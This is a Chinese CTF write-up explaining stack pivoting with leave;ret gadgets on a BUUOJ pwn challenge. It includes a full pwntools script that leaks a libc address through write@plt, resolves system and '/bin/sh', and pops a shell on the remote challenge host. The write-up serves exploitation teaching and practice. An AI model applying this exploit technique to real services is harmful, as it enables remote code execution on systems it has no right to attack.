栈迁移主要说的是leave指令:
mov esp,ebp
pop ebp
- 第一个指令会改变esp的值,第二个指令会改变ebp的值(当然这个值不太重要)
- 我们主要想控制的是esp的值,这里就要用到两个gadget(leave ret)第一个gadget用来改变ebp的值,第二个指令用来改变esp的值
我们来实战一下吧:
https://buuoj.cn/challenges#[Black%20Watch%20%E5%85%A5%E7%BE%A4%E9%A2%98]PWN
ida:
![](https://img.haomeiwen.com/i20393921/4f270ad89084a0e1.png)
可以很容易的看到有一个栈溢出漏洞但是我们只能控制0x20-0x18 = 8个字节,即只能控制ebp和ret,往上看我们发现read可以读取的范围有点大并且处在bss段,那么思路来了,首先我们在这里构造一段rop链,然后控制esp返回到此处,就能够执行我们rop链了
![](https://img.haomeiwen.com/i20393921/1f2440c9bce016e4.png)
1. 首先在read首地址构造rop链泄露出地址leak libc:
payload1 = p32(0)+p32(write_plt)+p32(start_addr)+p32(1)+p32(write_got)+p32(4)
这里的p32(0)用来填充pop ebp;p32(write_plt)对应的正好是ret指令
2. 然后让esp指向这个地址:
payload2 = 'a'*0x18+p32(frame_faking)+p32(leave_ret)
通过这两个payload我们就可以leak libc;并能求出offset和system;str_bin_sh的真正加载地址
3. 模仿1,2步构造payload3和payload4获取shell
payload3 = p32(0)+p32(sys_addr)+p32(0)+p32(binsh_addr)
payload4 = 'a'*0x18+p32(frame_faking)+p32(leave_ret)
exp:
from pwn import*
from LibcSearcher import*
p = process("spwn1")
p = remote("node3.buuoj.cn",29326)
elf = ELF("spwn1")
context.log_level = 'debug'
junk = 24
write_plt = elf.symbols["write"]
write_got= elf.got["write"]
read_plt= elf.symbols["read"]
read_got = elf.got["read"]
leaver = 0x08048408
pppr = 0x080485a9
popr = 0x08048329
bss_addr = 0x0804A300
start_addr = 0x080483A0
payload1 = p32(0)
payload1 += p32(write_plt)
payload1 += p32(start_addr)
payload1 += p32(1)
payload1 += p32(write_got)
payload1 += p32(4)
p.recvuntil("What is your name?")
p.send(payload1)
p.recvuntil("What do you want to say?")
payload2 = junk * 'A'+p32(bss_addr)
payload2 += p32(leaver)
p.send(payload2)
write_addr = u32(p.recv(4))
print ("write_addr:"+hex(write_addr))
libc = LibcSearcher("write",write_addr)
offset = write_addr - libc.dump("write")
print("offset:"+str(offset))
sys_addr = libc.dump("system")+offset
print("sys_addr:"+hex(sys_addr))
binsh_addr = libc.dump("str_bin_sh")+offset
print("binsh_addr:"+hex(binsh_addr))
payload1 = p32(0)
payload1 += p32(sys_addr)
payload1 += p32(0)
payload1 += p32(binsh_addr)
p.recvuntil("What is your name?")
p.send(payload1)
p.recvuntil("What do you want to say?")
p.send(payload2)
p.interactive()
网友评论